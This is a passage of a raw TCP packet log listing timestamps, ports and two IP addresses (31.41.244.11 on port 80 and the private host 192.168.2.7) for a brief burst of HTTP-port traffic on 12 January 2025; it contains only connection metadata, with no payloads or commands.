Jan 12, 2025 17:39:12.728266001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728276968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728288889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728298903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728301048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728298903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728298903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728341103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728353024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728363991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728374958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728379011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728379011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728379011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728394032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728405952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728415012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728418112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728429079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728449106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728458881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728463888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728463888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728471041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728485107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728496075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728507042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728518963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728537083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728594065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728605986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728620052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728620052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728622913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728635073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728646040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728657007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728667974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728672981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728672981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728677034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728688955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728702068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728710890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728738070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728738070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728738070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728769064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.729820013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729844093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729861975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729872942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729883909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729895115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.729895115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.729929924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729931116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.729931116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.729939938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729954004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729965925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729981899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.729985952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730000019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730014086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730025053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730037928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730046034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730046034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730046034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730050087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730078936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730097055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730123997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730134964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730153084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730165005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730171919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730171919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730178118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730190992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730201960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730212927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.730216026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730216026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730259895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.730259895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784203053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784223080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784238100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784255028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784266949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784280062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784296989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784310102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784315109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784315109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784322023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784333944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784379959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784385920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784385920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784385920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784390926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784401894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784414053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784620047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784620047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784698963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784709930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784719944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784739017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784756899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784761906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784761906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784770012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784781933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784792900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784837961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784837961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784837961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784894943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784904957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784960032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784970045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784984112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.784992933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.784992933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785021067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785032988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785043955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785084009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785084009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785084009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785114050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785125971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785137892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785156012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785181046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785192966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785198927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785198927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785202980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785238981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785238981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785238981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785248041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785288095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785299063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785310984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785361052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785361052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785373926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785373926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785389900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785401106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785412073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785423040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785435915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785475016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785475969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785475969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785484076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785494089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785506964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785521984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785532951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785542011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785554886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785554886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785603046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785614967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785628080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785639048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785650015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785666943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785666943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785666943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785675049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785689116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.785734892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785734892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.785734892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814635992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814666033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814680099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814692974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814712048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814724922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814737082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814748049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814750910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814750910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814750910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814762115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814773083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814785957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814801931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814810038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814810038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814810038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814843893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814846039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814857960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814881086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814901114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814903975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814913988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814924955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814924955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.814932108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814953089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814965010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814975977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.814989090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815001011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815009117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815009117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815009117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815009117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815027952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815057039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815069914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815082073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815087080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815093040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815104961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815115929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815129042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815140009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815140963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815140963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815140963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815152884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815165043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815176010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815190077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.815196991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815196991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815220118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.815220118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816126108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816139936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816159964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816173077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816189051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816214085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816225052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816237926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816282988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816282988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816282988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816309929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816309929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816365957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816379070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816390991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816401958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816418886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816451073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816452026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816452026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816452026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816466093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816478014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816490889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816504002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816508055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816508055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816508055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816517115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816526890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816540003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.816575050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816575050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.816575050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870568037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870625973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870661020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870677948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870703936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870712042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870747089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870779991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870790958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870790958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870790958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870814085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870850086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870861053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870861053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870902061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870937109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.870953083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.870965958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871004105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871037006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871063948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871076107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871078968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871078968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871109962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871144056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871169090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871175051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871215105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871215105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871227026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871268034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871279955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871330023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871335030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871371984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871387005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871438026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871454000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871519089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871526003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871577024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871608019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871614933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871632099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871681929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871716976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871721983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871721983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871751070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871784925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871793032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871793032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871831894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871841908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871892929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871922016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871926069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871953011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871956110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.871982098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.871989965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.872019053 CET	49975	80	192.168.2.7	31.41.244.11
